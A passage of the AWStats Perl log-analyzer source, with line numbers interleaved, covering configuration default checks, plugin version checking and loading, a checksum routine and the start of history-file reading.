        if ( $ShowWormsStats !~ /[01HBL]/ )      { $ShowWormsStats      = 'HBL'; }
2702
 
        if ( $ShowEMailSenders !~ /[01HBML]/ )   { $ShowEMailSenders    = 0; }
2703
 
        if ( $ShowEMailReceivers !~ /[01HBML]/ ) { $ShowEMailReceivers  = 0; }
2704
 
        if ( $ShowSessionsStats !~ /[01]/ )      { $ShowSessionsStats   = 1; }
2705
 
        if ( $ShowPagesStats !~ /[01PBEX]/i )    { $ShowPagesStats      = 'PBEX'; }
2706
 
        if ( $ShowFileTypesStats !~ /[01HBC]/ )  { $ShowFileTypesStats  = 'HB'; }
2707
 
        if ( $ShowFileSizesStats !~ /[01]/ )     { $ShowFileSizesStats  = 1; }
2708
 
        if ( $ShowOSStats !~ /[01]/ )            { $ShowOSStats         = 1; }
2709
 
        if ( $ShowBrowsersStats !~ /[01]/ )      { $ShowBrowsersStats   = 1; }
2710
 
        if ( $ShowScreenSizeStats !~ /[01]/ )    { $ShowScreenSizeStats = 0; }
2711
 
        if ( $ShowOriginStats !~ /[01PH]/ )      { $ShowOriginStats     = 'PH'; }
2712
 
        if ( $ShowKeyphrasesStats !~ /[01]/ )    { $ShowKeyphrasesStats = 1; }
2713
 
        if ( $ShowKeywordsStats !~ /[01]/ )      { $ShowKeywordsStats   = 1; }
2714
 
        if ( $ShowClusterStats !~ /[01PHB]/ )    { $ShowClusterStats    = 0; }
2715
 
        if ( $ShowMiscStats !~ /[01anjdfrqwp]/ ) { $ShowMiscStats       = 'a'; }
2716
 
        if ( $ShowHTTPErrorsStats !~ /[01]/ )    { $ShowHTTPErrorsStats = 1; }
2717
 
        if ( $ShowSMTPErrorsStats !~ /[01]/ )    { $ShowSMTPErrorsStats = 0; }
2718
 
        if ( $AddDataArrayMonthStats !~ /[01]/ ) { $AddDataArrayMonthStats = 1; }
2719
 
 
2720
 
        if ( $AddDataArrayShowDaysOfMonthStats !~ /[01]/ ) {
2721
 
                $AddDataArrayShowDaysOfMonthStats = 1;
2722
 
        }
2723
 
        if ( $AddDataArrayShowDaysOfWeekStats !~ /[01]/ ) {
2724
 
                $AddDataArrayShowDaysOfWeekStats = 1;
2725
 
        }
2726
 
        if ( $AddDataArrayShowHoursStats !~ /[01]/ ) {
2727
 
                $AddDataArrayShowHoursStats = 1;
2728
 
        }
2729
 
        my @maxnboflist = (
2730
 
                'Domain',           'HostsShown',
2731
 
                'LoginShown',       'RobotShown',
2732
 
                'WormsShown',       'PageShown',
2733
 
                'OsShown',          'BrowsersShown',
2734
 
                'ScreenSizesShown', 'RefererShown',
2735
 
                'KeyphrasesShown',  'KeywordsShown',
2736
 
                'EMailsShown'
2737
 
        );
2738
 
        my @maxnboflistdefaultval =
2739
 
          ( 10, 10, 10, 10, 5, 10, 10, 10, 5, 10, 10, 10, 20 );
2740
 
        foreach my $i ( 0 .. ( @maxnboflist - 1 ) ) {
2741
 
                if (   !$MaxNbOf{ $maxnboflist[$i] }
2742
 
                        || $MaxNbOf{ $maxnboflist[$i] } !~ /^\d+$/
2743
 
                        || $MaxNbOf{ $maxnboflist[$i] } < 1 )
2744
 
                {
2745
 
                        $MaxNbOf{ $maxnboflist[$i] } = $maxnboflistdefaultval[$i];
2746
 
                }
2747
 
        }
2748
 
        my @minhitlist = (
2749
 
                'Domain',     'Host',  'Login',     'Robot',
2750
 
                'Worm',       'File',  'Os',        'Browser',
2751
 
                'ScreenSize', 'Refer', 'Keyphrase', 'Keyword',
2752
 
                'EMail'
2753
 
        );
2754
 
        my @minhitlistdefaultval = ( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
2755
 
        foreach my $i ( 0 .. ( @minhitlist - 1 ) ) {
2756
 
                if (   !$MinHit{ $minhitlist[$i] }
2757
 
                        || $MinHit{ $minhitlist[$i] } !~ /^\d+$/
2758
 
                        || $MinHit{ $minhitlist[$i] } < 1 )
2759
 
                {
2760
 
                        $MinHit{ $minhitlist[$i] } = $minhitlistdefaultval[$i];
2761
 
                }
2762
 
        }
2763
 
        if ( $FirstDayOfWeek !~ /[01]/ )   { $FirstDayOfWeek   = 1; }
2764
 
        if ( $UseFramesWhenCGI !~ /[01]/ ) { $UseFramesWhenCGI = 1; }
2765
 
        if ( $DetailedReportsOnNewWindows !~ /[012]/ ) {
2766
 
                $DetailedReportsOnNewWindows = 1;
2767
 
        }
2768
 
        if ( $ShowLinksOnUrl !~ /[01]/ ) { $ShowLinksOnUrl = 1; }
2769
 
        if ( $MaxLengthOfShownURL !~ /^\d+/ || $MaxLengthOfShownURL < 1 ) {
2770
 
                $MaxLengthOfShownURL = 64;
2771
 
        }
2772
 
        if ( $ShowLinksToWhoIs !~ /[01]/ ) { $ShowLinksToWhoIs = 0; }
2773
 
        $Logo     ||= 'awstats_logo6.png';
2774
 
        $LogoLink ||= 'http://awstats.sourceforge.net';
2775
 
        if ( $BarWidth !~ /^\d+/  || $BarWidth < 1 )  { $BarWidth  = 260; }
2776
 
        if ( $BarHeight !~ /^\d+/ || $BarHeight < 1 ) { $BarHeight = 90; }
2777
 
        $color_Background =~ s/#//g;
2778
 
        if ( $color_Background !~ /^[0-9|A-H]+$/i ) {
2779
 
                $color_Background = 'FFFFFF';
2780
 
        }
2781
 
        $color_TableBGTitle =~ s/#//g;
2782
 
 
2783
 
        if ( $color_TableBGTitle !~ /^[0-9|A-H]+$/i ) {
2784
 
                $color_TableBGTitle = 'CCCCDD';
2785
 
        }
2786
 
        $color_TableTitle =~ s/#//g;
2787
 
        if ( $color_TableTitle !~ /^[0-9|A-H]+$/i ) {
2788
 
                $color_TableTitle = '000000';
2789
 
        }
2790
 
        $color_TableBG =~ s/#//g;
2791
 
        if ( $color_TableBG !~ /^[0-9|A-H]+$/i ) { $color_TableBG = 'CCCCDD'; }
2792
 
        $color_TableRowTitle =~ s/#//g;
2793
 
        if ( $color_TableRowTitle !~ /^[0-9|A-H]+$/i ) {
2794
 
                $color_TableRowTitle = 'FFFFFF';
2795
 
        }
2796
 
        $color_TableBGRowTitle =~ s/#//g;
2797
 
        if ( $color_TableBGRowTitle !~ /^[0-9|A-H]+$/i ) {
2798
 
                $color_TableBGRowTitle = 'ECECEC';
2799
 
        }
2800
 
        $color_TableBorder =~ s/#//g;
2801
 
        if ( $color_TableBorder !~ /^[0-9|A-H]+$/i ) {
2802
 
                $color_TableBorder = 'ECECEC';
2803
 
        }
2804
 
        $color_text =~ s/#//g;
2805
 
        if ( $color_text !~ /^[0-9|A-H]+$/i ) { $color_text = '000000'; }
2806
 
        $color_textpercent =~ s/#//g;
2807
 
        if ( $color_textpercent !~ /^[0-9|A-H]+$/i ) {
2808
 
                $color_textpercent = '606060';
2809
 
        }
2810
 
        $color_titletext =~ s/#//g;
2811
 
        if ( $color_titletext !~ /^[0-9|A-H]+$/i ) { $color_titletext = '000000'; }
2812
 
        $color_weekend =~ s/#//g;
2813
 
        if ( $color_weekend !~ /^[0-9|A-H]+$/i ) { $color_weekend = 'EAEAEA'; }
2814
 
        $color_link =~ s/#//g;
2815
 
        if ( $color_link !~ /^[0-9|A-H]+$/i ) { $color_link = '0011BB'; }
2816
 
        $color_hover =~ s/#//g;
2817
 
        if ( $color_hover !~ /^[0-9|A-H]+$/i ) { $color_hover = '605040'; }
2818
 
        $color_other =~ s/#//g;
2819
 
        if ( $color_other !~ /^[0-9|A-H]+$/i ) { $color_other = '666688'; }
2820
 
        $color_u =~ s/#//g;
2821
 
        if ( $color_u !~ /^[0-9|A-H]+$/i ) { $color_u = 'FFA060'; }
2822
 
        $color_v =~ s/#//g;
2823
 
        if ( $color_v !~ /^[0-9|A-H]+$/i ) { $color_v = 'F4F090'; }
2824
 
        $color_p =~ s/#//g;
2825
 
        if ( $color_p !~ /^[0-9|A-H]+$/i ) { $color_p = '4477DD'; }
2826
 
        $color_h =~ s/#//g;
2827
 
        if ( $color_h !~ /^[0-9|A-H]+$/i ) { $color_h = '66EEFF'; }
2828
 
        $color_k =~ s/#//g;
2829
 
        if ( $color_k !~ /^[0-9|A-H]+$/i ) { $color_k = '2EA495'; }
2830
 
        $color_s =~ s/#//g;
2831
 
        if ( $color_s !~ /^[0-9|A-H]+$/i ) { $color_s = '8888DD'; }
2832
 
        $color_e =~ s/#//g;
2833
 
        if ( $color_e !~ /^[0-9|A-H]+$/i ) { $color_e = 'CEC2E8'; }
2834
 
        $color_x =~ s/#//g;
2835
 
        if ( $color_x !~ /^[0-9|A-H]+$/i ) { $color_x = 'C1B2E2'; }
2836
 
 
2837
 
        # Correct param if default value is asked
2838
 
        if ( $ShowSummary            eq '1' ) { $ShowSummary            = 'UVPHB'; }
2839
 
        if ( $ShowMonthStats         eq '1' ) { $ShowMonthStats         = 'UVPHB'; }
2840
 
        if ( $ShowDaysOfMonthStats   eq '1' ) { $ShowDaysOfMonthStats   = 'VPHB'; }
2841
 
        if ( $ShowDaysOfWeekStats    eq '1' ) { $ShowDaysOfWeekStats    = 'PHBL'; }
2842
 
        if ( $ShowHoursStats         eq '1' ) { $ShowHoursStats         = 'PHBL'; }
2843
 
        if ( $ShowDomainsStats       eq '1' ) { $ShowDomainsStats       = 'PHB'; }
2844
 
        if ( $ShowHostsStats         eq '1' ) { $ShowHostsStats         = 'PHBL'; }
2845
 
        if ( $ShowEMailSenders       eq '1' ) { $ShowEMailSenders       = 'HBML'; }
2846
 
        if ( $ShowEMailReceivers     eq '1' ) { $ShowEMailReceivers     = 'HBML'; }
2847
 
        if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; }
2848
 
        if ( $ShowRobotsStats        eq '1' ) { $ShowRobotsStats        = 'HBL'; }
2849
 
        if ( $ShowWormsStats         eq '1' ) { $ShowWormsStats         = 'HBL'; }
2850
 
        if ( $ShowPagesStats         eq '1' ) { $ShowPagesStats         = 'PBEX'; }
2851
 
        if ( $ShowFileTypesStats     eq '1' ) { $ShowFileTypesStats     = 'HB'; }
2852
 
        if ( $ShowOriginStats        eq '1' ) { $ShowOriginStats        = 'PH'; }
2853
 
        if ( $ShowClusterStats       eq '1' ) { $ShowClusterStats       = 'PHB'; }
2854
 
        if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; }
2855
 
 
2856
 
# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal...
2857
 
        foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2858
 
                my $part = 0;
2859
 
                foreach my $conditioncouple (
2860
 
                        split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
2861
 
                {
2862
 
                        my ( $conditiontype, $conditiontypeval ) =
2863
 
                          split( /[,:]/, $conditioncouple, 2 );
2864
 
                        $ExtraConditionType[$extranum][$part] = $conditiontype;
2865
 
                        if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) {
2866
 
                                $conditiontypeval = $1;
2867
 
                        }
2868
 
 
2869
 
                        #else { $conditiontypeval=quotemeta($conditiontypeval); }
2870
 
                        $ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i;
2871
 
                        $part++;
2872
 
                }
2873
 
                $part = 0;
2874
 
                foreach my $rowkeycouple (
2875
 
                        split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
2876
 
                {
2877
 
                        my ( $rowkeytype, $rowkeytypeval ) =
2878
 
                          split( /[,:]/, $rowkeycouple, 2 );
2879
 
                        $ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype;
2880
 
                        if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; }
2881
 
 
2882
 
                        #else { $rowkeytypeval=quotemeta($rowkeytypeval); }
2883
 
                        $ExtraFirstColumnValuesTypeVal[$extranum][$part] =
2884
 
                          qr/$rowkeytypeval/i;
2885
 
                        $part++;
2886
 
                }
2887
 
        }
2888
 
 
2889
 
        # Show definitive value for major parameters
2890
 
        if ($Debug) {
2891
 
                debug( " LogFile='$LogFile'",               2 );
2892
 
                debug( " LogFormat='$LogFormat'",           2 );
2893
 
                debug( " LogSeparator='$LogSeparator'",     2 );
2894
 
                debug( " DNSLookup='$DNSLookup'",           2 );
2895
 
                debug( " DirData='$DirData'",               2 );
2896
 
                debug( " DirCgi='$DirCgi'",                 2 );
2897
 
                debug( " DirIcons='$DirIcons'",             2 );
2898
 
                debug( " SiteDomain='$SiteDomain'",         2 );
2899
 
                debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 );
2900
 
                foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); }
2901
 
                foreach ( keys %MinHit )  { debug( " MinHit{$_}=$MinHit{$_}",   2 ); }
2902
 
 
2903
 
                foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2904
 
                        debug(
2905
 
                                " ExtraCodeFilter[$extranum] is array "
2906
 
                                  . join( ',', @{ $ExtraCodeFilter[$extranum] } ),
2907
 
                                2
2908
 
                        );
2909
 
                        debug(
2910
 
                                " ExtraConditionType[$extranum] is array "
2911
 
                                  . join( ',', @{ $ExtraConditionType[$extranum] } ),
2912
 
                                2
2913
 
                        );
2914
 
                        debug(
2915
 
                                " ExtraConditionTypeVal[$extranum] is array "
2916
 
                                  . join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
2917
 
                                2
2918
 
                        );
2919
 
                        debug(
2920
 
                                " ExtraFirstColumnFunction[$extranum] is array "
2921
 
                                  . join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
2922
 
                                2
2923
 
                        );
2924
 
                        debug(
2925
 
                                " ExtraFirstColumnValuesType[$extranum] is array "
2926
 
                                  . join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
2927
 
                                2
2928
 
                        );
2929
 
                        debug(
2930
 
                                " ExtraFirstColumnValuesTypeVal[$extranum] is array "
2931
 
                                  . join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
2932
 
                                2
2933
 
                        );
2934
 
                }
2935
 
        }
2936
 
 
2937
 
# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
2938
 
        if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) {
2939
 
                error(
2940
 
"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
2941
 
                );
2942
 
        }
2943
 
 
2944
 
        # Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
2945
 
        if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) {
2946
 
                error(
2947
 
"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
2948
 
                );
2949
 
        }
2950
 
 
2951
 
  # Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
2952
 
        if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) {
2953
 
                error(
2954
 
"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
2955
 
                );
2956
 
        }
2957
 
 
2958
 
        # If not a migrate, check if DirData is OK
2959
 
        if ( !$MigrateStats && !-d $DirData ) {
2960
 
                if ($CreateDirDataIfNotExists) {
2961
 
                        if ($Debug) { debug( " Make directory $DirData", 2 ); }
2962
 
                        my $mkdirok = mkdir "$DirData", 0766;
2963
 
                        if ( !$mkdirok ) {
2964
 
                                error(
2965
 
"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
2966
 
                                );
2967
 
                        }
2968
 
                }
2969
 
                else {
2970
 
                        error(
2971
 
"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
2972
 
                        );
2973
 
                }
2974
 
        }
2975
 
 
2976
 
        if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; }
2977
 
}
2978
 
 
2979
 
#------------------------------------------------------------------------------
2980
 
# Function:     Common function used by init function of plugins
2981
 
# Parameters:   AWStats version required by plugin
2982
 
# Input:                $VERSION
2983
 
# Output:               None
2984
 
# Return:               '' if ok, "Error: xxx" if error
2985
 
#------------------------------------------------------------------------------
2986
 
sub Check_Plugin_Version {
2987
 
        my $PluginNeedAWStatsVersion = shift;
2988
 
        if ( !$PluginNeedAWStatsVersion ) { return 0; }
2989
 
        $VERSION =~ /^(\d+)\.(\d+)/;
2990
 
        my $numAWStatsVersion = ( $1 * 1000 ) + $2;
2991
 
        $PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/;
2992
 
        my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2;
2993
 
        if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) {
2994
 
                return
2995
 
"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION.";
2996
 
        }
2997
 
        return '';
2998
 
}
2999
 
 
3000
 
#------------------------------------------------------------------------------
3001
 
# Function:     Return a checksum for an array of string
3002
 
# Parameters:   Array of string
3003
 
# Input:                None
3004
 
# Output:               None
3005
 
# Return:               Checksum number
3006
 
#------------------------------------------------------------------------------
3007
 
sub CheckSum {
3008
 
        my $string   = shift;
3009
 
        my $checksum = 0;
3010
 
 
3011
 
        #       use MD5;
3012
 
        #       $checksum = MD5->hexhash($string);
3013
 
        my $i = 0;
3014
 
        my $j = 0;
3015
 
        while ( $i < length($string) ) {
3016
 
                my $c = substr( $string, $i, 1 );
3017
 
                $checksum += ( ord($c) << ( 8 * $j ) );
3018
 
                if ( $j++ > 3 ) { $j = 0; }
3019
 
                $i++;
3020
 
        }
3021
 
        return $checksum;
3022
 
}
3023
 
 
3024
 
#------------------------------------------------------------------------------
3025
 
# Function:     Load plugins files
3026
 
# Parameters:   None
3027
 
# Input:                $DIR @PluginsToLoad
3028
 
# Output:               None
3029
 
# Return:               None
3030
 
#------------------------------------------------------------------------------
3031
 
sub Read_Plugins {
3032
 
 
3033
 
# Check plugin files in common possible directories :
3034
 
# Windows and standard package:                 "$DIR/plugins" (plugins in same dir than awstats.pl)
3035
 
# Redhat :                                  "/usr/local/awstats/wwwroot/cgi-bin/plugins"
3036
 
# Debian package :                              "/usr/share/awstats/plugins"
3037
 
        my @PossiblePluginsDir = (
3038
 
                "$DIR/plugins",
3039
 
                "/usr/local/awstats/wwwroot/cgi-bin/plugins",
3040
 
                "/usr/share/awstats/plugins"
3041
 
        );
3042
 
        my %DirAddedInINC = ();
3043
 
 
3044
 
#Removed for security reason
3045
 
#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
3046
 
        if ($Debug) {
3047
 
                debug(
3048
 
                        "Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
3049
 
        }
3050
 
        foreach my $plugininfo (@PluginsToLoad) {
3051
 
                my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 );
3052
 
                $pluginparam ||=
3053
 
                  "";    # If split has only on part, pluginparam is not initialized
3054
 
                $pluginfile =~ s/\.pm$//i;
3055
 
                $pluginfile =~ /([^\/\\]+)$/;
3056
 
                my $pluginname = $1;    # pluginname is pluginfile without any path
3057
 
                                        # Check if plugin is not disabled
3058
 
                if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) {
3059
 
                        if ($Debug) {
3060
 
                                debug(
3061
 
" Plugin load for '$pluginfile' has been disabled from parameters"
3062
 
                                );
3063
 
                        }
3064
 
                        next;
3065
 
                }
3066
 
                if ($pluginname) {
3067
 
                        if ( !$PluginsLoaded{'init'}{"$pluginname"} )
3068
 
                        {                   # Plugin not already loaded
3069
 
                                my %pluginisfor = (
3070
 
                                        'timehires'            => 'u',
3071
 
                                        'ipv6'                 => 'u',
3072
 
                                        'hashfiles'            => 'u',
3073
 
                                        'geoipfree'            => 'u',
3074
 
                                        'geoip'                => 'ou',
3075
 
                                        'geoip_region_maxmind' => 'mou',
3076
 
                                        'geoip_city_maxmind'   => 'mou',
3077
 
                                        'geoip_isp_maxmind'    => 'mou',
3078
 
                                        'geoip_org_maxmind'    => 'mou',
3079
 
                                        'timezone'             => 'ou',
3080
 
                                        'decodeutfkeys'        => 'o',
3081
 
                                        'hostinfo'             => 'o',
3082
 
                                        'rawlog'               => 'o',
3083
 
                                        'userinfo'             => 'o',
3084
 
                                        'urlalias'             => 'o',
3085
 
                                        'tooltips'             => 'o'
3086
 
                                );
3087
 
                                if ( $pluginisfor{$pluginname} )
3088
 
                                {    # If it's a known plugin, may be we don't need to load it
3089
 
                                         # Do not load "menu handler plugins" if output only and mainleft frame
3090
 
                                        if (   !$UpdateStats
3091
 
                                                && scalar keys %HTMLOutput
3092
 
                                                && $FrameName eq 'mainleft'
3093
 
                                                && $pluginisfor{$pluginname} !~ /m/ )
3094
 
                                        {
3095
 
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
3096
 
                                                next;
3097
 
                                        }
3098
 
 
3099
 
                                        # Do not load "update plugins" if output only
3100
 
                                        if (   !$UpdateStats
3101
 
                                                && scalar keys %HTMLOutput
3102
 
                                                && $pluginisfor{$pluginname} !~ /o/ )
3103
 
                                        {
3104
 
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
3105
 
                                                next;
3106
 
                                        }
3107
 
 
3108
 
                                        # Do not load "output plugins" if update only
3109
 
                                        if (   $UpdateStats
3110
 
                                                && !scalar keys %HTMLOutput
3111
 
                                                && $pluginisfor{$pluginname} !~ /u/ )
3112
 
                                        {
3113
 
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
3114
 
                                                next;
3115
 
                                        }
3116
 
                                }
3117
 
 
3118
 
                                # Load plugin
3119
 
                                foreach my $dir (@PossiblePluginsDir) {
3120
 
                                        my $searchdir = $dir;
3121
 
                                        if (   $searchdir
3122
 
                                                && ( !( $searchdir =~ /\/$/ ) )
3123
 
                                                && ( !( $searchdir =~ /\\$/ ) ) )
3124
 
                                        {
3125
 
                                                $searchdir .= "/";
3126
 
                                        }
3127
 
                                        my $pluginpath = "${searchdir}${pluginfile}.pm";
3128
 
                                        if ( -s "$pluginpath" ) {
3129
 
                                                $PluginDir = "${searchdir}";    # Set plugin dir
3130
 
                                                if ($Debug) {
3131
 
                                                        debug(
3132
 
" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'",
3133
 
                                                                1
3134
 
                                                        );
3135
 
                                                }
3136
 
                                                if ( !$DirAddedInINC{"$dir"} ) {
3137
 
                                                        push @INC, "$dir";
3138
 
                                                        $DirAddedInINC{"$dir"} = 1;
3139
 
                                                }
3140
 
                                                my $loadret = 0;
3141
 
                                                my $modperl = $ENV{"MOD_PERL"}
3142
 
                                                  ? eval {
3143
 
                                                        require mod_perl;
3144
 
                                                        $mod_perl::VERSION >= 1.99 ? 2 : 1;
3145
 
                                                  }
3146
 
                                                  : 0;
3147
 
                                                if ( $modperl == 2 ) {
3148
 
                                                        $loadret = require "$pluginpath";
3149
 
                                                }
3150
 
                                                else { $loadret = require "$pluginfile.pm"; }
3151
 
                                                if ( !$loadret || $loadret =~ /^error/i ) {
3152
 
 
3153
 
                                                        # Load failed, we stop here
3154
 
                                                        error(
3155
 
"Plugin load for plugin '$pluginname' failed with return code: $loadret"
3156
 
                                                        );
3157
 
                                                }
3158
 
                                                my $ret;    # To get init return
3159
 
                                                my $initfunction =
3160
 
                                                  "\$ret=Init_$pluginname('$pluginparam')";
3161
 
                                                my $initret = eval("$initfunction");
3162
 
                                                if ( $initret && $initret eq 'xxx' ) {
3163
 
                                                        $initret =
3164
 
'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions';
3165
 
                                                }
3166
 
                                                if ( !$initret || $initret =~ /^error/i ) {
3167
 
 
3168
 
                                                        # Init function failed, we stop here
3169
 
                                                        error(
3170
 
"Plugin init for plugin '$pluginname' failed with return code: "
3171
 
                                                                  . (
3172
 
                                                                        $initret
3173
 
                                                                        ? "$initret"
3174
 
                                                                        : "$@ (A module required by plugin might be missing)."
3175
 
                                                                  )
3176
 
                                                        );
3177
 
                                                }
3178
 
 
3179
 
                                                # Plugin load and init successfull
3180
 
                                                foreach my $elem ( split( /\s+/, $initret ) ) {
3181
 
 
3182
 
                                                        # Some functions can only be plugged once
3183
 
                                                        my @uniquefunc = (
3184
 
                                                                'GetCountryCodeByName',
3185
 
                                                                'GetCountryCodeByAddr',
3186
 
                                                                'ChangeTime',
3187
 
                                                                'GetTimeZoneTitle',
3188
 
                                                                'GetTime',
3189
 
                                                                'SearchFile',
3190
 
                                                                'LoadCache',
3191
 
                                                                'SaveHash',
3192
 
                                                                'ShowMenu'
3193
 
                                                        );
3194
 
                                                        my $isuniquefunc = 0;
3195
 
                                                        foreach my $function (@uniquefunc) {
3196
 
                                                                if ( "$elem" eq "$function" ) {
3197
 
 
3198
 
        # We try to load a 'unique' function, so we check and stop if already loaded
3199
 
                                                                        foreach my $otherpluginname (
3200
 
                                                                                keys %{ $PluginsLoaded{"$elem"} } )
3201
 
                                                                        {
3202
 
                                                                                error(
3203
 
"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
3204
 
                                                                                );
3205
 
                                                                        }
3206
 
                                                                        $isuniquefunc = 1;
3207
 
                                                                        last;
3208
 
                                                                }
3209
 
                                                        }
3210
 
                                                        if ($isuniquefunc) {
3211
 
 
3212
 
                           # TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func
3213
 
                                                                $PluginsLoaded{"$elem"}{"$pluginname"} = 1;
3214
 
                                                        }
3215
 
                                                        else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; }
3216
 
                                                        if ( "$elem" =~ /SectionInitHashArray/ ) {
3217
 
                                                                $AtLeastOneSectionPlugin = 1;
3218
 
                                                        }
3219
 
                                                }
3220
 
                                                $PluginsLoaded{'init'}{"$pluginname"} = 1;
3221
 
                                                if ($Debug) {
3222
 
                                                        debug(
3223
 
" Plugin '$pluginname' now hooks functions '$initret'",
3224
 
                                                                1
3225
 
                                                        );
3226
 
                                                }
3227
 
                                                last;
3228
 
                                        }
3229
 
                                }
3230
 
                                if ( !$PluginsLoaded{'init'}{"$pluginname"} ) {
3231
 
                                        error(
3232
 
"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \""
3233
 
                                                  . ( $PossiblePluginsDir[0] )
3234
 
                                                  . "\" directory and is readable." );
3235
 
                                }
3236
 
                        }
3237
 
                        else {
3238
 
                                warning(
3239
 
"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
3240
 
                                );
3241
 
                        }
3242
 
                }
3243
 
                else {
3244
 
                        error("Plugin \"$pluginfile\" is not a valid plugin name.");
3245
 
                }
3246
 
        }
3247
 
 
3248
 
# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
3249
 
        if (   $PluginsLoaded{'init'}{'geoip'}
3250
 
                || $PluginsLoaded{'init'}{'geoipfree'} )
3251
 
        {
3252
 
                $Message[17] = $Message[25] = $Message[148];
3253
 
        }
3254
 
}
3255
 
 
3256
 
#------------------------------------------------------------------------------
3257
 
# Function:             Read history file and create or update tmp history file
3258
 
# Parameters:   year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum]
3259
 
# Input:                $DirData $PROG $FileSuffix $LastLine $DatabaseBreak
3260
 
# Output:               None
3261
 
# Return:               Tmp history file name created/updated or '' if withupdate is 0
3262
 
#------------------------------------------------------------------------------
3263
 
sub Read_History_With_TmpUpdate {
3264
 
 
3265
 
        my $year  = sprintf( "%04i", shift || 0 );
3266
 
        my $month = sprintf( "%02i", shift || 0 );
3267
 
        my $day   = shift;
3268
 
        if ( $day ne '' ) { $day = sprintf( "%02i", $day ); }
3269
 
        my $hour = shift;
3270
 
        if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); }
3271
 
        my $withupdate = shift || 0;
3272
 
        my $withpurge  = shift || 0;
3273
 
        my $part       = shift || '';
3274
 
 
3275
 
        my ( $date, $filedate ) = ( '', '' );
3276
 
        if ( $DatabaseBreak eq 'month' ) {
3277
 
                $date     = sprintf( "%04i%02i", $year,  $month );
3278
 
                $filedate = sprintf( "%02i%04i", $month, $year );
3279
 
        }
3280
 
        elsif ( $DatabaseBreak eq 'year' ) {
3281
 
                $date     = sprintf( "%04i%", $year );
3282
 
                $filedate = sprintf( "%04i",  $year );
3283
 
        }
3284
 
        elsif ( $DatabaseBreak eq 'day' ) {
3285
 
                $date     = sprintf( "%04i%02i%02i", $year,  $month, $day );
3286
 
                $filedate = sprintf( "%02i%04i%02i", $month, $year,  $day );
3287
 
        }
3288
 
        elsif ( $DatabaseBreak eq 'hour' ) {
3289
 
                $date     = sprintf( "%04i%02i%02i%02i", $year,  $month, $day, $hour );
3290
 
                $filedate = sprintf( "%02i%04i%02i%02i", $month, $year,  $day, $hour );
3291
 
        }
3292
 
 
3293
 
        my $xml   = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
3294
 
        my $xmleb = '</table><nu>';
3295
 
        my $xmlrb = '<tr><td>';
3296
 
 
3297
 
        my $lastlinenb       = shift || 0;
3298
 
        my $lastlineoffset   = shift || 0;
3299
 
        my $lastlinechecksum = shift || 0;
3300
 
 
3301
 
        my %allsections = (
3302
 
                'general'               => 1,
3303
 
                'misc'                  => 2,
3304
 
                'time'                  => 3,
3305
 
                'visitor'               => 4,
3306
 
                'day'                   => 5,
3307
 
                'domain'                => 6,
3308
 
                'cluster'               => 7,
3309
 
                'login'                 => 8,
3310
 
                'robot'                 => 9,
3311
 
                'worms'                 => 10,
3312
 
                'emailsender'           => 11,
3313
 
